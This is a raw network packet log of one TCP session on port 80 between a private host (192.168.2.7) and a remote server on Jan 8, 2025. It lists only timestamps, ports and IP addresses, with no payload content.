Jan 8, 2025 09:42:35.078294039 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078299046 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078310013 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.078331947 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.078358889 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.078381062 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078387022 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078406096 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078412056 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078418016 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078423023 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078430891 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078439951 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.078481913 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.078495026 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.078504086 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078511953 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078520060 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078526020 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078532934 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078540087 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078556061 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.078584909 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.079216003 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079265118 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.079308033 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079322100 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079330921 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079335928 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079344034 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079355955 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079360962 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079369068 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079372883 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.079405069 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.079427004 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.079441071 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079447031 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079458952 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079464912 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079473019 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079488039 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079499960 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.079516888 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079524994 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079525948 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.079530954 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079536915 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079554081 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.079582930 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.079583883 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079591036 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079596996 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079602003 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079628944 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079632998 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.079636097 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079643011 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.079652071 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.079663038 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.079694986 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.114952087 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.114974976 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.114991903 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.115056038 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.115057945 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.115067959 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.115073919 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.115081072 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.115087986 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.115164995 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.115179062 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.115187883 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.115200996 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.115206003 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.115212917 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.115220070 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.115250111 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.115283012 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.124152899 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.124208927 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.124216080 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.124224901 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.124228954 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.124243975 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.124262094 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.124291897 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.124480963 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.124488115 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.124500990 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.124505997 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.124511957 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.124517918 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.124537945 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.124542952 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.124547005 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.124553919 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.124560118 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.124568939 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.124574900 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.124574900 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.124581099 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.124588013 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.124599934 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.124602079 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.124607086 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.124612093 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.124634027 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.124660015 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.161638021 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.161647081 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.161653996 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.161703110 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.161716938 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.161717892 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.161730051 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.161736012 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.161741972 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.161797047 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.161797047 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.162595034 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.162602901 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.162616014 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.162630081 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.162641048 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.162650108 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.162657976 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.162664890 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.162669897 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.162740946 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.164514065 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164525032 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164530993 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164608002 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.164628983 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164635897 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164642096 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164648056 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164654970 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164683104 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164690971 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.164697886 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164702892 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164714098 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164719105 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.164721012 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164729118 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164737940 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164738894 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.164747000 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164802074 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164807081 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.164808035 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164814949 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164820910 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164827108 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164833069 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164840937 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.164851904 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164856911 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164860010 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.164865017 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164871931 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164877892 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164885998 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.164930105 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.164973974 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164980888 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.164994955 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.165010929 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.165018082 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.165033102 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.165035963 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.165055037 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.165061951 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.165064096 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.165071011 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.165083885 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.165126085 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.165275097 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.165282011 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.165292978 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.165303946 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.165311098 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.165323019 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.165324926 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.165329933 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.165337086 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.165349007 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.165379047 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.166007042 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.166014910 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.166033030 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.166040897 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.166048050 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.166053057 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.166064978 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.166073084 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.166076899 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.166094065 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.166121960 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.166228056 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.166233063 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.166245937 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.166253090 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.166266918 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.166274071 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.166279078 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.166280031 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.166287899 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.166296959 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.166301012 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.166305065 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.166337967 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.166366100 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.166368961 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.166373014 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.166387081 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.166397095 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.166404963 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.166419983 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.166465998 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.201680899 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.201704979 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.201715946 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.201771975 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.201777935 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.201790094 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.201796055 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.201811075 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.201850891 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.201857090 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.201864958 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.201869011 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.201875925 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.201880932 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.201888084 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.201904058 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.201920986 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.201931953 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.201934099 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.201939106 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.201942921 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.201968908 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.201992989 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.210877895 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.210896969 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.210911036 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.210916996 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.210923910 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.210928917 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.210968971 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.210993052 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.211000919 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.211003065 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.211007118 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.211019993 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.211025953 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.211031914 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.211041927 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.211051941 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.211081028 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.211101055 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.211107969 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.211127043 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.211132050 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.211144924 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.211150885 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.211157084 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.211163044 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.211175919 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.211216927 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.211272001 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.211280107 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.211287022 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.211328983 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.230751991 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.230860949 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.248462915 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.248532057 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.248538971 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.248552084 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.248558998 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.248570919 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.248578072 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.248581886 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.248584032 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.248609066 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.248641968 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.249298096 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.249310017 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.249332905 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.249342918 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.249349117 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.249356031 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.249358892 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.249366045 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.249366045 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.249373913 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.249403000 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.249430895 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.251275063 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251293898 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251311064 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251327991 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251331091 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.251336098 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251338005 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.251342058 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251362085 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.251370907 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251379013 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.251388073 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251404047 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251410961 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.251419067 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251430035 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251435995 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251437902 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.251442909 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251450062 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251461983 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.251472950 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251477957 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251493931 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.251493931 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251507044 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251519918 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.251522064 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251537085 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251543999 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251552105 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.251585007 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.251599073 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251609087 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251646996 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251650095 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.251657009 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.251691103 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.251691103 CET	80	49703	176.113.115.19	192.168.2.7
